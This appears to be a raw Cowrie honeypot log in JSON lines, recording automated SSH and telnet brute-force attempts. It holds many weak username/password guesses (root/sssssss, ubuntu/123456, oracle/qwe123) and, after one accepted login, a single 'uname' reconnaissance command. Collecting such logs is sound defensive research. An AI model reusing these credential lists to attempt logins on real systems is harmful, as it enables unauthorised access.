{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:24.343472Z","src_ip":"192.109.200.237","session":"d2a14ed6f4eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:24.589820Z","src_ip":"192.109.200.237","session":"d2a14ed6f4eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":38738,"dst_ip":"10.17.0.5","dst_port":22,"session":"07941905f0d0","protocol":"ssh","message":"New connection: 193.37.70.224:38738 (10.17.0.5:22) [session: 07941905f0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:25.069050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:25.085965Z","src_ip":"193.37.70.224","session":"07941905f0d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:25.161986Z","src_ip":"193.37.70.224","session":"07941905f0d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sssssss","message":"login attempt [root/sssssss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:25.512837Z","src_ip":"193.37.70.224","session":"07941905f0d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:25.675786Z","src_ip":"192.109.200.237","session":"d2a14ed6f4eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:26.606165Z","src_ip":"193.37.70.224","session":"07941905f0d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45344,"dst_ip":"159.203.135.109","dst_port":22,"session":"1faa057fe9f4","protocol":"ssh","message":"New connection: 192.109.200.237:45344 (159.203.135.109:22) [session: 1faa057fe9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:27.328815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:27.333077Z","src_ip":"192.109.200.237","session":"1faa057fe9f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:27.414999Z","src_ip":"192.109.200.237","session":"1faa057fe9f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51504,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a42425de4da","protocol":"telnet","message":"New connection: 152.42.224.71:51504 (10.17.0.5:23) [session: 5a42425de4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:27.521804Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:27.734468Z","src_ip":"192.109.200.237","session":"1faa057fe9f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:28.820135Z","src_ip":"192.109.200.237","session":"1faa057fe9f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44584,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f116555dab5","protocol":"ssh","message":"New connection: 192.109.200.237:44584 (159.203.135.109:22) [session: 0f116555dab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:30.400725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:30.405507Z","src_ip":"192.109.200.237","session":"0f116555dab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:30.488333Z","src_ip":"192.109.200.237","session":"0f116555dab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51510,"dst_ip":"10.17.0.5","dst_port":23,"session":"19434763e7f5","protocol":"telnet","message":"New connection: 152.42.224.71:51510 (10.17.0.5:23) [session: 19434763e7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:30.543985Z"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:30.830687Z","src_ip":"192.109.200.237","session":"0f116555dab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:31.916422Z","src_ip":"192.109.200.237","session":"0f116555dab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44600,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce931e27e317","protocol":"ssh","message":"New connection: 192.109.200.237:44600 (159.203.135.109:22) [session: ce931e27e317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:33.651859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:33.656894Z","src_ip":"192.109.200.237","session":"ce931e27e317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:33.739065Z","src_ip":"192.109.200.237","session":"ce931e27e317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:33.985051Z","src_ip":"192.109.200.237","session":"ce931e27e317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:35.072495Z","src_ip":"192.109.200.237","session":"ce931e27e317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44616,"dst_ip":"159.203.135.109","dst_port":22,"session":"0961e629f168","protocol":"ssh","message":"New connection: 192.109.200.237:44616 (159.203.135.109:22) [session: 0961e629f168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:36.680034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:36.684545Z","src_ip":"192.109.200.237","session":"0961e629f168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:36.766689Z","src_ip":"192.109.200.237","session":"0961e629f168","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:37.013373Z","src_ip":"192.109.200.237","session":"0961e629f168","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:37.227348Z","src_ip":"192.109.200.237","session":"0961e629f168","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:37.230738Z","src_ip":"192.109.200.237","session":"0961e629f168","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:37.316347Z","src_ip":"192.109.200.237","session":"0961e629f168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:37.322044Z","src_ip":"192.109.200.237","session":"0961e629f168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0031623840332,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:39.581708Z","src_ip":"46.60.48.98","session":"e448631eb1eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44618,"dst_ip":"159.203.135.109","dst_port":22,"session":"34912c65fcc5","protocol":"ssh","message":"New connection: 192.109.200.237:44618 (159.203.135.109:22) [session: 34912c65fcc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:39.819204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:39.823598Z","src_ip":"192.109.200.237","session":"34912c65fcc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:39.905546Z","src_ip":"192.109.200.237","session":"34912c65fcc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56556,"dst_ip":"10.17.0.5","dst_port":23,"session":"d862e1a2bfd7","protocol":"telnet","message":"New connection: 152.42.224.71:56556 (10.17.0.5:23) [session: d862e1a2bfd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:40.046296Z"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:40.150136Z","src_ip":"192.109.200.237","session":"34912c65fcc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:41.238018Z","src_ip":"192.109.200.237","session":"34912c65fcc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37684,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c39c3c0ff5f","protocol":"ssh","message":"New connection: 192.109.200.237:37684 (159.203.135.109:22) [session: 9c39c3c0ff5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:42.933880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:42.938704Z","src_ip":"192.109.200.237","session":"9c39c3c0ff5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:43.021736Z","src_ip":"192.109.200.237","session":"9c39c3c0ff5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:43.272331Z","src_ip":"192.109.200.237","session":"9c39c3c0ff5f","protocol":"ssh"}
